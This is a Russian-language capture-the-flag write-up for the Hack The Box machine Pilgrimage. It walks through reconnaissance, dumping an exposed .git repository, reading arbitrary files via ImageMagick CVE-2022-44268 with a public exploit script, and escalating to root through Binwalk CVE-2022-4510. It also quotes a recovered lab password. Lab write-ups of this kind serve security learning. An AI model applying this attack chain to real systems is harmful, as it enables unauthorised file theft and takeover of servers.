Сложность: | Easy |
ОС: | Linux |
Баллы: | 20 |
IP: | 10.10.11.219 |
Теги: | Weak Git Permissions, Code Review, CVE-2022-44268, Linux PrivEsc, CVE-2022-4510 |
После первичной разведки веб-приложения мы обнаруживаем дополнительную директорию /.git
и далее с помощью инструмента git-dumper
скачиваем репозиторий, содержащий исходный код и исполнимые файлы, реализующие работу веб-сервиса. Далее, после анализа исходного кода доступного в файлах репозитория выясняем, что сервис уязвим к CVE-2022-44268
, с помощью которой успешно прочитываем содержимое /var/db/pilgrimage
, получаем доступ к учетной записи emily
и флагу пользователя. Затем, обнаружив фоновую работу скрипта запущенного от лица root
и использующего уязвимую версию Binwalk 2.3.2
успешно эксплуатируем CVE-2022-4510
. После чего получаем доступ к roo
t и успешно забираем соответствующий флаг.
Проведём первичное сканирование цели:
nmap -sS -p- 10.10.11.219
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Просканируем более подробно: nmap -sVC -O -p22,80 10.10.11.219
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 20:be:60:d2:95:f6:28:c1:b7:e9:e8:17:06:f1:68:f3 (RSA)
| 256 0e:b6:a6:a8:c9:9b:41:73:74:6e:70:18:0d:5f:e0:af (ECDSA)
|_ 256 d1:4e:29:3c:70:86:69:b4:d7:2c:c8:0b:48:6e:98:04 (ED25519)
80/tcp open http nginx 1.18.0
| http-git:
| 10.10.11.219:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: Pilgrimage image shrinking service initial commit. # Please ...
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: nginx/1.18.0
|_http-title: Pilgrimage - Shrink Your Images
Стандартные скрипты Nmap при сканировании обнаружили директорию /.git
. Добавим запись в файл /etc/hosts
и посетим веб-сервис для ознакомления с его функционалом.
Основной функционал согласно описанию — загрузка картинок и последующее уменьшение их размера.
Просканируем директории доступные на pilgrimage.htb
:
gobuster dir -u http://pilgrimage.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -k
Получим следующий результат:
/assets (Status: 301) [Size: 169] [--> http://pilgrimage.htb/assets/]
/vendor (Status: 301) [Size: 169] [--> http://pilgrimage.htb/vendor/]
/tmp (Status: 301) [Size: 169] [--> http://pilgrimage.htb/tmp/]
/.git (Status: 301) [Size: 169] [--> http://pilgrimage.htb/.git/]
/index.php (Status: 200) [Size: 7621]
/login.php (Status: 200) [Size: 6166]
/register.php (Status: 200) [Size: 6173]
/logout.php (Status: 302) [Size: 0] [--> /]
/dashboard.php (Status: 302) [Size: 0] [--> /login.php]
Исходя из того, что мы обнаружили доступную директорию /.git воспользуемся инструментом git-dumper
:
git-dumper http://pilgrimage.htb/.git/ ./source
[-] Testing http://pilgrimage.htb/.git/HEAD [200]
[-] Testing http://pilgrimage.htb/.git [403]
[-] Fetching common files
[...]
В результате загрузки репозитория /.git
мы узнали, что в нём содержатся следующие файлы и папки:
/assets
dashboard.php
index.php
login.php
logout.php
magick
register.php
/vendor
Соберём из этих файлов информацию, которая могла бы быть полезна для развития атаки.
index.php
можно сделать вывод, что используются учётная запись пользователя, содержащаяся в БД /var/db/pilgrimage
index.php
видно, что для обеспечения основного функционала уменьшения картинок используется Magick: exec("/var/www/pilgrimage.htb/magick convert /var/www/pilgrimage.htb/tmp/" . $upload->getName() . $mime . " -resize 50% /var/www/pilgrimage.htb/shrunk/" . $newname . $mime);
dashboard.php
используется БД /var/db/pilgrimage
magick
это исполнимый ELF (file ./magick
), версии 7.1.0-49 beta (./magick -version
)Если данный репозиторий содержит код и файлы, отвечающие за функционал веб-сервиса, то мы можем осуществить поиск уязвимостей для версии 7.1.0-49 beta.
После непродолжительных поисков было обнаружено, что ImageMagick
версии 7.1.0-49 beta
уязвим к CVE-2022-44268, которая позволяет читать произвольные файлы на целевой машине с помощью специально подготовленной картинки в формате png.
В интернете доступен код на языке Python для применения этого эксплоита (https://github.com/Sybil-Scan/imagemagick-lfi-poc), но мы можем дополнительно доработать его (https://github.com/seqteam/CVE-2022-44268).
Таким образом, для чтения произвольного файла потребуется выполнить всего две команды:
python3 exploit.py generate -f "targetFileLocalDestination"
python3 exploit.py extract -i resultAlphaNumericShrunkImage.png
Таким образом мы можем прочесть файлы /etc/passwd
и /var/db/pilgrimage
, из которых мы обнаружим:
root
, emily
emily:abigchonkyboi123
Далее, с помощью полученного пароля подключаемся к удалённой целевой машине и успешно получаем флаг пользователя emily.
Разведаем какие процессы запущены в данный момент на целевой машине с помощью команды ps aus
и выведем все процессы, которые запущены от пользователя root:
Обнаруживаем, что в фоне запущен скрипт /usr/sbin/malwarescan.sh
от лица пользователя root
.
Данный скрипт осуществляет поиск подстрочек «Executable script» и «Microsoft executable» в загруженных картинках с помощью утилиты binwalk
. Выведем версию утилиты с помощью binwalk -h
.
Осуществим поиск возможных эксплоитов к данной версии с помощью: searchsploit binwalk 2.3.2
.
Для данной версии существует эксплоит, который в конечном счёте позволит атакующему исполнять команды на целевом сервере (CVE-2022-4510). Для формирования и отправки полезной нагрузки на целевой сервер используем любую картинку в формате JPG и запустим эксплоит со следующими параметрами и загрузим полученное изображение на целевую машину:
Успешно получили доступ к учётной записи root
и смогли прочитать флаг!
https://github.com/seqteam/CVE-2022-44268